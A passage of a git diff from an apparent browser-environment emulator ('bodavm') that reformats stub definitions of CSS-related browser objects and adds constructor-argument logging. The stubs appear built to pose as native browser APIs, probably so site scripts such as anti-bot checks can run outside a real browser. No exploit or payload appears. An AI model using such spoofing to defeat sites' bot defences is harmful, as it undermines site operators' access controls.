bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "fr", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "grad", {configurable:true, enumerable:true, writable:true, value:function grad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "grad", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "in", {configurable:true, enumerable:true, writable:true, value:function (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "in", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "kHz", {configurable:true, enumerable:true, writable:true, value:function kHz (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "kHz", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "mm", {configurable:true, enumerable:true, writable:true, value:function mm (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "mm", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "ms", {configurable:true, enumerable:true, writable:true, value:function ms (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ms", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "number", {configurable:true, enumerable:true, writable:true, value:function number (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "number", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "pc", {configurable:true, enumerable:true, writable:true, value:function pc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pc", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "percent", {configurable:true, enumerable:true, writable:true, value:function percent (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "percent", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "pt", {configurable:true, enumerable:true, writable:true, value:function pt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pt", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "px", {configurable:true, enumerable:true, writable:true, value:function px (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "px", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "rad", {configurable:true, enumerable:true, writable:true, value:function rad (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rad", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "registerProperty", {configurable:true, enumerable:true, writable:true, value:function registerProperty (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "registerProperty", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "rem", {configurable:true, enumerable:true, writable:true, value:function rem (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rem", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "s", {configurable:true, enumerable:true, writable:true, value:function s (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "s", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "supports", {configurable:true, enumerable:true, writable:true, value:function supports (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "supports", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "turn", {configurable:true, enumerable:true, writable:true, value:function turn (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "turn", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vh", {configurable:true, enumerable:true, writable:true, value:function vh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vmax", {configurable:true, enumerable:true, writable:true, value:function vmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vmin", {configurable:true, enumerable:true, writable:true, value:function vmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vw", {configurable:true, enumerable:true, writable:true, value:function vw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "highlights", {configurable:true, enumerable:true, get:function highlights (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "highlights_get", arguments)}, set:undefined}); - -bodavm.toolsFunc.defineProperty('CSS', "dvb", {configurable:true, enumerable:true, writable:true, value:function dvb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvh", {configurable:true, enumerable:true, writable:true, value:function dvh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvi", {configurable:true, enumerable:true, writable:true, value:function dvi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvmax", {configurable:true, enumerable:true, writable:true, value:function dvmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvmin", {configurable:true, enumerable:true, writable:true, value:function dvmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "dvw", {configurable:true, enumerable:true, writable:true, value:function dvw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvb", {configurable:true, enumerable:true, writable:true, value:function lvb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvh", {configurable:true, enumerable:true, writable:true, value:function lvh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvi", {configurable:true, enumerable:true, writable:true, value:function lvi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvmax", {configurable:true, enumerable:true, writable:true, value:function lvmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvmin", {configurable:true, enumerable:true, writable:true, value:function lvmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "lvw", {configurable:true, enumerable:true, writable:true, value:function lvw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svb", {configurable:true, enumerable:true, writable:true, value:function svb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svh", {configurable:true, enumerable:true, writable:true, value:function svh (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svh", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svi", {configurable:true, enumerable:true, writable:true, value:function svi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svmax", {configurable:true, enumerable:true, writable:true, value:function svmax (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svmax", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svmin", {configurable:true, enumerable:true, writable:true, value:function svmin (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svmin", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "svw", {configurable:true, enumerable:true, writable:true, value:function svw (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svw", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vb", {configurable:true, enumerable:true, writable:true, value:function vb (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vb", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "vi", {configurable:true, enumerable:true, writable:true, value:function vi (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vi", arguments)}}); - -bodavm.toolsFunc.defineProperty('CSS', "paintWorklet", {configurable:true, enumerable:true, get:function paintWorklet (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "paintWorklet_get", arguments)}, set:undefined}); + _boisinit: bodavm.config.isinit +}; +bodavm.toolsFunc.defineProperty('CSS', "Hz", { + configurable: true, + enumerable: true, + writable: true, + value: function Hz() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Hz", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "Q", { + configurable: true, + enumerable: true, + writable: true, + value: function Q() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "Q", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "ch", { + configurable: true, + enumerable: true, + writable: true, + value: function ch() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ch", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cm", { + configurable: true, + enumerable: true, + writable: true, + value: function cm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cm", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqb", { + configurable: true, + enumerable: true, + writable: true, + value: function cqb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqh", { + configurable: true, + enumerable: true, + writable: true, + value: function cqh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqi", { + configurable: true, + enumerable: true, + writable: true, + value: function cqi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqmax", { + configurable: true, + enumerable: true, + writable: true, + value: function cqmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqmin", { + configurable: true, + enumerable: true, + writable: true, + value: function cqmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "cqw", { + configurable: true, + enumerable: true, + writable: true, + value: function cqw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "cqw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "deg", { + configurable: true, + enumerable: true, + writable: true, + value: function deg() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "deg", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dpcm", { + configurable: true, + enumerable: true, + writable: true, + value: function dpcm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpcm", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dpi", { + configurable: true, + enumerable: true, + writable: true, + value: function dpi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dpi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dppx", { + configurable: true, + enumerable: true, + writable: true, + value: function dppx() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dppx", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "em", { + configurable: true, + enumerable: true, + writable: true, + value: function em() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "em", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "escape", { + configurable: true, + enumerable: true, + writable: true, + value: function escape() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "escape", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "ex", { + configurable: true, + enumerable: true, + writable: true, + value: function ex() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ex", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "fr", { + configurable: true, + enumerable: true, + writable: true, + value: function fr() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "fr", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "grad", { + configurable: true, + enumerable: true, + writable: true, + value: function grad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "grad", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "in", { + configurable: true, + enumerable: true, + writable: true, + value: function () { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "in", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "kHz", { + configurable: true, + enumerable: true, + writable: true, + value: function kHz() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "kHz", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "mm", { + configurable: true, + enumerable: true, + writable: true, + value: function mm() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "mm", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "ms", { + configurable: true, + enumerable: true, + writable: true, + value: function ms() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "ms", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "number", { + configurable: true, + enumerable: true, + writable: true, + value: function number() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "number", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "pc", { + configurable: true, + enumerable: true, + writable: true, + value: function pc() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pc", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "percent", { + configurable: true, + enumerable: true, + writable: true, + value: function percent() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "percent", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "pt", { + configurable: true, + enumerable: true, + writable: true, + value: function pt() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "pt", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "px", { + configurable: true, + enumerable: true, + writable: true, + value: function px() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "px", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "rad", { + configurable: true, + enumerable: true, + writable: true, + value: function rad() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rad", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "registerProperty", { + configurable: true, + enumerable: true, + writable: true, + value: function registerProperty() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "registerProperty", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "rem", { + configurable: true, + enumerable: true, + writable: true, + value: function rem() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "rem", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "s", { + configurable: true, + enumerable: true, + writable: true, + value: function s() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "s", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "supports", { + configurable: true, + enumerable: true, + writable: true, + value: function supports() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "supports", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "turn", { + configurable: true, + enumerable: true, + writable: true, + value: function turn() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "turn", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vh", { + configurable: true, + enumerable: true, + writable: true, + value: function vh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vmax", { + configurable: true, + enumerable: true, + writable: true, + value: function vmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vmin", { + configurable: true, + enumerable: true, + writable: true, + value: function vmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vw", { + configurable: true, + enumerable: true, + writable: true, + value: function vw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "highlights", { + configurable: true, + enumerable: true, + get: function highlights() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "highlights_get", arguments); + }, + set: undefined +}); +bodavm.toolsFunc.defineProperty('CSS', "dvb", { + configurable: true, + enumerable: true, + writable: true, + value: function dvb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvh", { + configurable: true, + enumerable: true, + writable: true, + value: function dvh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvi", { + configurable: true, + enumerable: true, + writable: true, + value: function dvi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvmax", { + configurable: true, + enumerable: true, + writable: true, + value: function dvmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvmin", { + configurable: true, + enumerable: true, + writable: true, + value: function dvmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "dvw", { + configurable: true, + enumerable: true, + writable: true, + value: function dvw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "dvw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvb", { + configurable: true, + enumerable: true, + writable: true, + value: function lvb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvh", { + configurable: true, + enumerable: true, + writable: true, + value: function lvh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvi", { + configurable: true, + enumerable: true, + writable: true, + value: function lvi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvmax", { + configurable: true, + enumerable: true, + writable: true, + value: function lvmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvmin", { + configurable: true, + enumerable: true, + writable: true, + value: function lvmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "lvw", { + configurable: true, + enumerable: true, + writable: true, + value: function lvw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "lvw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svb", { + configurable: true, + enumerable: true, + writable: true, + value: function svb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svh", { + configurable: true, + enumerable: true, + writable: true, + value: function svh() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svh", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svi", { + configurable: true, + enumerable: true, + writable: true, + value: function svi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svmax", { + configurable: true, + enumerable: true, + writable: true, + value: function svmax() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svmax", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svmin", { + configurable: true, + enumerable: true, + writable: true, + value: function svmin() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svmin", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "svw", { + configurable: true, + enumerable: true, + writable: true, + value: function svw() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "svw", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vb", { + configurable: true, + enumerable: true, + writable: true, + value: function vb() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vb", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "vi", { + configurable: true, + enumerable: true, + writable: true, + value: function vi() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "vi", arguments); + } +}); +bodavm.toolsFunc.defineProperty('CSS', "paintWorklet", { + configurable: true, + enumerable: true, + get: function paintWorklet() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSS'], "CSS", "paintWorklet_get", arguments); + }, + set: undefined +}); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSAnimation.js b/env_xbb_lastest_jsdom/env/CSSAnimation.js index 5a00f6c0..8e409e5b 100644 --- a/env_xbb_lastest_jsdom/env/CSSAnimation.js +++ b/env_xbb_lastest_jsdom/env/CSSAnimation.js @@ -1,6 +1,27 @@ -// CSSAnimation对象 -bodavm.memory.globalobj['CSSAnimation'] = function CSSAnimation(){if (!(this instanceof CSSAnimation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSAnimation'], "CSSAnimation"); -bodavm.memory.globalobj['CSSAnimation'].prototype.__proto__=bodavm.memory.globalobj['Animation'].prototype; -bodavm.memory.globalobj['CSSAnimation'].__proto__=bodavm.memory.globalobj['Animation']; -bodavm.toolsFunc.defineProperty('CSSAnimation', "animationName", {configurable:true, enumerable:true, get:function animationName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSAnimation'].prototype, "CSSAnimation", "animationName_get", arguments)}, set:undefined},'prototype'); +// CSSAnimation对象 + +bodavm.memory.globalobj['CSSAnimation'] = function CSSAnimation() { + console.log_copy('CSSAnimation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSAnimation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSAnimation'], "CSSAnimation"); +bodavm.memory.globalobj['CSSAnimation'].prototype.__proto__ = bodavm.memory.globalobj['Animation'].prototype; +bodavm.memory.globalobj['CSSAnimation'].__proto__ = bodavm.memory.globalobj['Animation']; +bodavm.toolsFunc.defineProperty('CSSAnimation', "animationName", { + configurable: true, + enumerable: true, + get: function animationName() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSAnimation'].prototype, "CSSAnimation", "animationName_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSConditionRule.js b/env_xbb_lastest_jsdom/env/CSSConditionRule.js index 8ff06edb..e3a25fac 100644 --- a/env_xbb_lastest_jsdom/env/CSSConditionRule.js +++ b/env_xbb_lastest_jsdom/env/CSSConditionRule.js @@ -1,6 +1,27 @@ -// CSSConditionRule对象 -bodavm.memory.globalobj['CSSConditionRule'] = function CSSConditionRule(){if (!(this instanceof CSSConditionRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSConditionRule'], "CSSConditionRule"); -bodavm.memory.globalobj['CSSConditionRule'].prototype.__proto__=bodavm.memory.globalobj['CSSGroupingRule'].prototype; -bodavm.memory.globalobj['CSSConditionRule'].__proto__=bodavm.memory.globalobj['CSSGroupingRule']; -bodavm.toolsFunc.defineProperty('CSSConditionRule', "conditionText", {configurable:true, enumerable:true, get:function conditionText (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSConditionRule'].prototype, "CSSConditionRule", "conditionText_get", arguments)}, set:undefined},'prototype'); +// CSSConditionRule对象 + +bodavm.memory.globalobj['CSSConditionRule'] = function CSSConditionRule() { + console.log_copy('CSSConditionRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSConditionRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSConditionRule'], "CSSConditionRule"); +bodavm.memory.globalobj['CSSConditionRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSGroupingRule'].prototype; +bodavm.memory.globalobj['CSSConditionRule'].__proto__ = bodavm.memory.globalobj['CSSGroupingRule']; +bodavm.toolsFunc.defineProperty('CSSConditionRule', "conditionText", { + configurable: true, + enumerable: true, + get: function conditionText() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSConditionRule'].prototype, "CSSConditionRule", "conditionText_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/CSSContainerRule.js b/env_xbb_lastest_jsdom/env/CSSContainerRule.js index 446ffad7..8d252aa6 100644 --- a/env_xbb_lastest_jsdom/env/CSSContainerRule.js +++ b/env_xbb_lastest_jsdom/env/CSSContainerRule.js @@ -1,7 +1,35 @@ -// CSSContainerRule对象 -bodavm.memory.globalobj['CSSContainerRule'] = function CSSContainerRule(){if (!(this instanceof CSSContainerRule)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSContainerRule'], "CSSContainerRule"); -bodavm.memory.globalobj['CSSContainerRule'].prototype.__proto__=bodavm.memory.globalobj['CSSConditionRule'].prototype; -bodavm.memory.globalobj['CSSContainerRule'].__proto__=bodavm.memory.globalobj['CSSConditionRule']; -bodavm.toolsFunc.defineProperty('CSSContainerRule', "containerName", {configurable:true, enumerable:true, get:function containerName (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSContainerRule'].prototype, "CSSContainerRule", "containerName_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('CSSContainerRule', "containerQuery", {configurable:true, enumerable:true, get:function containerQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['CSSContainerRule'].prototype, "CSSContainerRule", "containerQuery_get", arguments)}, set:undefined},'prototype'); +// CSSContainerRule对象 + +bodavm.memory.globalobj['CSSContainerRule'] = function CSSContainerRule() { + console.log_copy('CSSContainerRule 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof CSSContainerRule)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['CSSContainerRule'], "CSSContainerRule"); +bodavm.memory.globalobj['CSSContainerRule'].prototype.__proto__ = bodavm.memory.globalobj['CSSConditionRule'].prototype; +bodavm.memory.globalobj['CSSContainerRule'].__proto__ = bodavm.memory.globalobj['CSSConditionRule']; +bodavm.toolsFunc.defineProperty('CSSContainerRule', "containerName", { + configurable: true, + enumerable: true, + get: function containerName() { + return 